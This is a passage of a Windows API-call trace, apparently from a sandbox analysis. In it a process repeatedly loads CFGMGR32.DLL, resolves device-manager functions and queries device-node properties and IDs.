lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.771] malloc (_Size=0x18) returned 0x20abc281b20 [0227.771] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x11, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0227.772] malloc (_Size=0x48) returned 0x20abc27cf80 [0227.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x43876aba, dwHighDateTime=0x1d9eb0c)) [0227.772] SetEvent (hEvent=0x248) returned 1 [0227.899] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.899] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.899] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.900] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.901] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.903] malloc (_Size=0x18) returned 0x20abc282060 [0227.903] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x11, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0227.904] malloc (_Size=0x48) returned 0x20abc27cf80 [0227.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x439a7388, dwHighDateTime=0x1d9eb0c)) [0227.905] SetEvent (hEvent=0x248) returned 1 [0228.069] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.069] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.073] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.073] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.073] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.073] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.074] malloc (_Size=0x18) returned 0x20abc281a80 [0228.074] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x11, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0228.075] malloc (_Size=0x48) returned 0x20abc27cf80 [0228.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x43b4ad2f, dwHighDateTime=0x1d9eb0c)) [0228.075] SetEvent (hEvent=0x248) returned 1 [0228.083] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.083] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.083] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.084] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.084] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.084] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.084] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.084] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.084] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.085] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.086] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.087] malloc (_Size=0x18) returned 0x20abc282020 [0228.088] CM_Get_Device_IDA (in: dnDevInst=0x12, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\IP_TUNNEL_DEVICE_ROOT") returned 0x0 [0228.088] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x43b71276, dwHighDateTime=0x1d9eb0c)) [0228.088] SetEvent (hEvent=0x248) returned 1 [0228.092] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.092] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.092] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.093] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.093] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.093] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.093] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.093] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.093] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.093] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.094] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.095] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.096] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.096] malloc (_Size=0x18) returned 0x20abc2819c0 [0228.096] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0228.097] malloc (_Size=0x10) returned 0x20abc281fe0 [0228.097] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281fe0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281fe0, pulLength=0x2dc22fd3f8) returned 0x0 [0228.097] free (_Block=0x20abc281fe0) [0228.097] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x43b9746b, dwHighDateTime=0x1d9eb0c)) [0228.098] SetEvent (hEvent=0x248) returned 1 [0228.212] malloc (_Size=0x18) returned 0x20abc281b00 [0228.212] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0228.212] free (_Block=0x20abc281b00) [0228.212] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cbf0 [0228.213] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0228.213] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0228.213] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0228.213] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0228.213] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0228.213] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0228.213] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0228.213] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0228.214] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4023b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0228.214] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0228.215] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cbf0) returned 1 [0228.216] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.216] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.218] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.221] malloc (_Size=0x18) returned 0x20abc281d80 [0228.221] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0228.221] malloc (_Size=0x38) returned 0x20abc281310 [0228.222] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281310, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281310, pulLength=0x2dc22fd3f8) returned 0x0 [0228.223] free (_Block=0x20abc281310) [0228.223] malloc (_Size=0x48) returned 0x20abc27cf80 [0228.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x43cc8a21, dwHighDateTime=0x1d9eb0c)) [0228.223] SetEvent (hEvent=0x248) returned 1 [0228.226] malloc (_Size=0x18) returned 0x20abc281e20 [0228.227] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0228.227] free (_Block=0x20abc281e20) [0228.227] malloc (_Size=0x18) returned 0x20abc281b00 [0228.227] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0228.227] free (_Block=0x20abc281b00) [0228.227] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0228.227] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0228.227] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0228.227] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0228.227] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79550 [0228.227] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0228.227] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0228.227] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0228.227] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0228.228] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93450, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0228.228] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93458, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0228.229] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79550) returned 1 [0228.229] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0228.230] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.230] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.234] malloc (_Size=0x18) returned 0x20abc281f60 [0228.234] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0228.237] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x43cee660, dwHighDateTime=0x1d9eb0c)) [0228.237] SetEvent (hEvent=0x248) returned 1 [0228.241] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.241] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.243] GetProcAddress (hModule=0x7ffb1ced0000, 